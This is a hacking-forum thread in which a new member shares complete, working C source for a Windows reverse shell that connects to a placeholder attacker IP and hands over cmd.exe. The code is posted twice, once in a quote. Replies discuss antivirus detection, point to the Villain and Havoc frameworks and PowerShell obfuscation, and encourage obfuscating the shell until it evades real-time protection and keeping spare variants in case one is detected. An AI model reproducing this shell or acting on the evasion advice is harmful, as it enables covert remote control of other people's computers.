Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Simple Local Reverse Shell

Hey, I'm new here. Just finished coding a simple reverse shell over LAN from a yt tutorial.

Code
#include<winsock2.h>
#include<stdio.h>
#include<windows.h>
#include<ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
//add libws2_32.a at linker setting
int main()
{
    SOCKET shell;
    struct sockaddr_in shell_addr;
    WSADATA wsa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    int connect;
    char RecvServer[512];
    char ip_addr[]="attacker_ip";
    int port = 1234;//random port

    WSAStartup(MAKEWORD(2,2), &wsa); //Initialise WinSock
    shell=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0);//create TCP socket

    shell_addr.sin_port= htons(port);
    shell_addr.sin_family=AF_INET;
    shell_addr.sin_addr.s_addr=inet_addr(ip_addr);


    connect=WSAConnect(shell,(SOCKADDR*)&shell_addr,sizeof(shell_addr),NULL,NULL,NULL,NULL);//connect to the target server

    if (connect==SOCKET_ERROR)
    printf("[!] Connection to the target server failed, Please try again!\n"),exit(0);
    else
    {
        recv(shell,RecvServer,sizeof(RecvServer),0);
        memset(&si,0,sizeof(si));
        si.cb=sizeof(si);
        si.dwFlags=(STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        si.hStdInput=si.hStdOutput=si.hStdError=(HANDLE) shell; //Pipe std input/output/err to the socket
        CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi); //Spawn Command Prompt
        WaitForSingleObject(pi.hProcess,INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        memset(RecvServer,0,sizeof(RecvServer));
   }

}
is this not detected by AV.
But anyway, great share.

I'd look into villain, havoc and obfuscation the powershell



[Image: vibesignature.gif]
The Brotherhood Vibe  Legends
(Aug 6, 2024 01:58 AM)7 Wrote:  is this not detected by AV.
But anyway, great share.

I'd look into villain, havoc and obfuscation the powershell

Woah, thx for the share. When I run the executable I have real time protection off btw:)
(Aug 6, 2024 02:04 AM)lloyd1515 Wrote:  Woah, thx for the share. When I run the executable I have real time protection off btw:)

I would say turn it on. and see if it gets detected. then keep coding and obfuscating to see if you can bypass it.
Senior Penetration Tester (CPSA, CRT, CEH, CEI, CCS-F, PCI-DSS-F)
(Aug 6, 2024 02:10 AM)ncrypt10n Wrote:  I would say turn it on. and see if it gets detected. then keep coding and obfuscating to see if you can bypass it.

Tried it with rtp off. Just ran the .exe on the windows machine and listened with nc on the linux machine. It worked:) Why is it undetectable? Weird...? I don't remember to have anything whitelisted. [I used CodeBlocks and opened the .exe from the bin folder]
(Aug 6, 2024 02:15 AM)lloyd1515 Wrote:  Tried it with rtp off. Just ran the .exe on the windows machine and listened with nc on the linux machine. It worked:) Why is it undetectable? Weird...? I don't remember to have anything whitelisted. [I used CodeBlocks and opened the .exe from the bin folder]

A revshell from a tutorial not getting detected? That is weird.
(Aug 6, 2024 02:15 AM)lloyd1515 Wrote:  Tried it with rtp off. Just ran the .exe on the windows machine and listened with nc on the linux machine. It worked:) Why is it undetectable? Weird...? I don't remember to have anything whitelisted. [I used CodeBlocks and opened the .exe from the bin folder]

Congratulations, you have yourself a good reverse shell! Better to make multiple versions of it with few tweaks and enhancements so you have spare bullets if it gets detected some day. 🙃
(Aug 6, 2024 01:55 AM)lloyd1515 Wrote:  Hey, I'm new here. Just finished coding a simple reverse shell over LAN from a yt tutorial.

Code
#include<winsock2.h>
#include<stdio.h>
#include<windows.h>
#include<ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
//add libws2_32.a at linker setting
int main()
{
    SOCKET shell;
    struct sockaddr_in shell_addr;
    WSADATA wsa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    int connect;
    char RecvServer[512];
    char ip_addr[]="attacker_ip";
    int port = 1234;//random port

    WSAStartup(MAKEWORD(2,2), &wsa); //Initialise WinSock
    shell=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0);//create TCP socket

    shell_addr.sin_port= htons(port);
    shell_addr.sin_family=AF_INET;
    shell_addr.sin_addr.s_addr=inet_addr(ip_addr);


    connect=WSAConnect(shell,(SOCKADDR*)&shell_addr,sizeof(shell_addr),NULL,NULL,NULL,NULL);//connect to the target server

    if (connect==SOCKET_ERROR)
    printf("[!] Connection to the target server failed, Please try again!\n"),exit(0);
    else
    {
        recv(shell,RecvServer,sizeof(RecvServer),0);
        memset(&si,0,sizeof(si));
        si.cb=sizeof(si);
        si.dwFlags=(STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        si.hStdInput=si.hStdOutput=si.hStdError=(HANDLE) shell; //Pipe std input/output/err to the socket
        CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi); //Spawn Command Prompt
        WaitForSingleObject(pi.hProcess,INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        memset(RecvServer,0,sizeof(RecvServer));
   }

}

(Aug 6, 2024 02:15 AM)lloyd1515 Wrote:  Tried it with rtp off. Just ran the .exe on the windows machine and listened with nc on the linux machine. It worked:) Why is it undetectable? Weird...? I don't remember to have anything whitelisted. [I used CodeBlocks and opened the .exe from the bin folder]

(Aug 6, 2024 04:23 AM)DramaKing Wrote:  A revshell from a tutorial not getting detected? That is weird.

Fr? Okay I will save this and thank you very much for sharing OP.
Cool nice reverse shell what programming language is that ? I did a reverse shell in C#.
(Aug 6, 2024 01:20 PM)BlackSoulZN5006 Wrote:  Cool nice reverse shell what programming language is that ? I did a reverse shell in C#.

It is C:)

(Aug 6, 2024 11:41 AM)SuddenStrike2 Wrote:  Fr? Okay I will save this and thank you very much for sharing OP.

let me know if it works on your pc with rtp on
Good job, looks interesting.
I see so its the C programming language which is older than C#


Possibly Related Threads...
Thread / Author Replies Views Last Post
by g_walterpeterMay 30, 2026 04:14 AM 1 72 May 30, 2026 04:14 AM
Last Post: Crum
by lokichNov 29, 2025 10:50 PM 4 153 Nov 29, 2025 10:50 PM
Last Post: lokich
by SIM-5457022Jul 11, 2024 11:42 AM 10 244 Jul 11, 2024 11:42 AM
Last Post: SIM-5519216